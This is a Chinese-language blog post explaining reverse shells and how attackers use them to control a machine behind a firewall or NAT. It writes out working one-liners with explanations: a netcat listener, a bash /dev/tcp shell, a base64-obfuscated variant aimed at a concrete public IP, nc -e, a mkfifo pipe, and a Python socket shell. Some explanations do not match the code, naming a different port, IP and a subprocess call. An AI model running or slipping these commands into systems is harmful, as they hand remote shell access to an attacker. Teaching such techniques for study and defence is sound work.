反弹shell

什么是反弹shell

反弹shell(Reverse Shell)是一种常见的攻击方式,通常用于远程控制目标系统。它与传统的“反向连接”(Reverse Connection)相似,通过允许目标系统主动连接回攻击者的机器,从而绕过防火墙或NAT(网络地址转换)等网络安全措施。

反弹 shell 是一种网络攻击技术,它允许攻击者在远程目标机器上执行一个命令,使得目标机器主动向攻击者的机器发起网络连接,将一个命令行 shell(如 bash、cmd 等)提供给攻击者,从而让攻击者能够控制目标机器的 shell,就好像直接在目标机器上操作一样

什么时候用到反弹shell

提权,无回显,命令执行失败时我们都需要想到使用反弹shell,以便我们进行后续的操作

反弹shell的前提是要有一个VPS

反弹shell的工作原理

通常情况下,我们会从本地计算机发起连接去访问远程服务器,这是正向连接,比如使用 SSH、HTTP 等协议。

但在某些情况下,目标机器可能处于防火墙或网络地址转换(NAT)之后,外部无法直接访问,或者目标机器有严格的入站连接限制,这时正向连接就无法实现。

在传统的shell远程访问中,攻击者的机器通常会主动连接到目标机器上。

反弹shell与之相反,反弹shell利用反向连接的概念,在目标机器上执行一个命令,该命令会主动向攻击者控制的服务器发起连接,目标机器主动连接到攻击者的机器,并向攻击者的机器发送一个shell(命令行接口)。

攻击者通过这个shell可以绕过防火墙和NAT限制,从而可以执行命令、上传、下载文件等操作,实现对目标机器的远程控制。

反弹shell的具体步骤

  1. 攻击者启动一个监听程序(如netcat,nc -lvp 2333)等待目标机器的连接
1
nc -lvp 2333
  1. 目标机器会主动向攻击者机器发起连接,并将一个shell连接回攻击者
1
bash -i >& /dev/tcp/ip/2333 0>&1

利用bash进行反弹shell,适用于linux系统

  • bash -i:打开一个交互式的bash shell
  • >&:将标准输出和标准错误输出重定向
  • /dev/tcp/ip/2333:利用bash的特殊文件表示,尝试建立一个到 ip 的 2333 端口的TCP连接
  • 0>&1:将标准输入重定向到标准输出,这样可以让攻击者通过建立的TCP连接与 bash shell 进行交互
1
2
3
echo YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny4xMjIuNzUuMTI2LzIzMzMgMD4mMQ== | base64 -d| /bin/bash
//等价于echo bash -i >& /dev/tcp/47.122.75.126/2333 0>&1
nc ip 2333 -e /bin/bash

2333 是监听的端口,-e /bin/bash 表示通过这个连接执行 /bin/bash 命令,即启动一个 shell,(对于一些较旧的nc版本可以使用。)

  • nc(Netcat):一个强大的网络工具,可用于各种网络操作
  • -e:指定连接成功后执行的程序,这里将 /bin/bash 作为程序,即一旦与 ip 的 2333 端口建立连接,就会执行 /bin/bash 并将其作为shell提供给对方
1
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 192.168.1.100 2333 >/tmp/f

对于较新的 nc 版本,可能不支持 -e 选项,可以用这个命令来代替

  • rm /tmp/f;mkfifo /tmp/f:删除 /tmp/f ,并创建一个命令管道 /tmp/f
  • cat /tmp/f|/bin/bash -i 2>&1|nc 192.168.1.100 4444 >/tmp/f:使用管道将 cat 从命名管道读取的数据送给 bash -i,将 bash 的标准错误输出重定向到标准输出,再通过 nc 发送给 ip 的 4444 端口,同时 nc 接收的数据重定向回命名管道,形成一个双向通信通道
1
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("47.122.75.126",2333));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'
  • import socket,subprocess,os:导入所需的模块,socket 用于网络连接,subprocess 用于执行外部命令,os 用于文件描述符操作
  • s=socket.socket(socket.AF_INET,socket.SOCK_STREAM):创建一个 IPv4 的 TCP 套接字
  • s.connect((“ip”,2333)):连接到 120.55.3.157 的 2333 端口
  • os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2):将套接字的文件描述符复制到标准输入、标准输出和标准错误输出,实现通过套接字的输入输出功能。
  • p=subprocess.call([“/bin/bash”,”-i”]):执行一个交互式的 bash shell
  1. 连接建立,攻击者就可以通过该连接来控制目标机器

反弹shell
https://colourful228.github.io/2026/01/31/反弹shell/
作者
Colourful
发布于
2026年1月31日
更新于
2026年2月11日
许可协议